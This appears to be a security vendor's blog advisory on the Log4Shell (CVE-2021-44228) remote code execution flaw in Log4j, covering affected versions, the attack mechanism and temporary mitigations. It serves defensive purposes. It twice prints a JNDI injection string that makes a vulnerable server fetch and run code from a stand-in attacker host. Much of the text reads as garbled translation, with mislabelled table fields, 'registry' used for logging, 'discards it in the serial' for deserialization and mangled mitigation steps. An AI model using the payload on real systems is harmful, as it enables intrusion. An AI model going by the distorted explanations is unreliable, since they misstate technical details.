Thousands of Java applications worldwide are wide open to remote code execution attacks aimed at the Log4j library. This post summarizes what we know so far about Log4Shell’s vulnerability, how to reduce it and what cyber security means here and now.
Your information will be kept private.
What you need to know about Log4Shell (CVE-2021-44228)
Topic: |
Remote Code Execution (RCE) Vulnerability Apache Log4j Library for Java |
There: |
|
Vulnerable versions: |
Log4j 2.0 to 2.14.1 |
Revised versions |
Log4j 2.15.0 and above |
hardware: |
Extremely critical |
ladder: |
global |
Affected software: |
All Java applications and frameworks dependent on the vulnerable directory |
First report: |
December 9, 2021 |
Fix: |
Immediate fix for Log4j v2.15.0 (or newer) or from temporary fix to fix |
Netsparker by Invicti does not use Log4j, and we do not ship it with our products. However, if you are running a tomcat server, you may have set it up for logging and tracking information through Log4j. If you have Log4j installed, we recommend that you upgrade it immediately to version 2.15.0 or later.
How to take advantage of CVE-2021-44228
The vulnerability has a large impact but is very easy to exploit. The attacker simply needs to prepare a malicious Java file, put it on the server they control, and include the following string in all the data that will be recorded by the application server:
${jndi:ldap://attackers-server.com/malicious-java-file}
When the vulnerable server registers this string, Log4j will retrieve and execute Java code from a validly controlled server, which will allow arbitrary code execution. If the code is a remote shell, the attacker will receive a local shell with the permissions of the system user running the vulnerable application.
Who is affected by CVE-2021-44228
Given that servers record many types of data, the attack surface is huge and includes titles as well as more visible inputs. Log4j is used by many frameworks and packages of popular Java applications, such as Struts, Hadoop, Elasticsearch, Grails, Kafka and more. This means that the vulnerability is deeply ingrained not only in Java-based web applications but also in hundreds of thousands of enterprise applications.
Quite simply, if you have a vulnerable version of Log4j anywhere in your live Java environment, you are at risk of remote code execution (RCE).
Log4Shell explained
CVE-2021-44228 is a great example of how some seemingly innocent or just a little unsafe traits can be piled into a destructive vulnerability:
- Aside from plain text, Log4j also supports variables for entering additional data in logs, such as timestamps or software versions.
- These variables can include through calls JNDI (Java Naming and Directory Interface), for example to retrieve a username from a central directory to put in a log. LDAP is among the supported library protocols (though others will work for the attack as well).
- Just in case this destination data is too large for the LDAP response, you can also provide an external URL as the data source.
- While this has nothing to do with registration, in this case JNDI can be used to retrieve not only text but also other data, for example application objects stored for reloading and recreating.
If you look again at the sample exploit string, you can see how a combination of these four features can lead to remote code execution using JNDI injection:
${jndi:ldap://attackers-server.com/malicious-java-file}
The attacker puts this string where it will be registered by the server – request header, host name, device name or any other places. The server asks Log4j to register this string. Log4j sees a variable with a JNDI call that refers to an LDAP resource, in this case a Java class file. It then retrieves the file from the attacker’s server and discards it in the serial to recreate the Java class it contains. And if this department is a distant shell, apologies – the moment has broken out for you.
How to reduce CVE-2021-44228
A fix is already available, so the recommended course of action is to update to Log4j 2.15.0 (or newer) immediately. If this is not currently possible, you have several options for temporarily reducing it by disabling JNDI searches, depending on the version:
- 2.10 and up: Set the system property
log4j2.formatMsgNoLookups
Or variable environmentLOG4J_FORMAT_MSG_NO_LOOKUPS
Totrue
And restart your application. - 2.7 to 2.14.1: Change all your registry patterns from
%m
To%m{nolookups}
. - 2.0 to 2.10: Remove the vulnerabilities
JndiLookup
class from your classpath or replace it with a blank or permanent version.
Our security researchers are already working on a security check to detect this vulnerability in web applications – we will update the post when it is released.
What does this mean for the future of app development
Looking beyond the current global rush to fix Log4Shell vulnerability, a strong, multi-layered approach to security continues to be the best strategy to protect your company from future threats.
If you do not take advantage of application security testing as part of your SDLC, please contact us to get started.
Stay up to date on web security trends
Your information will be kept private.
.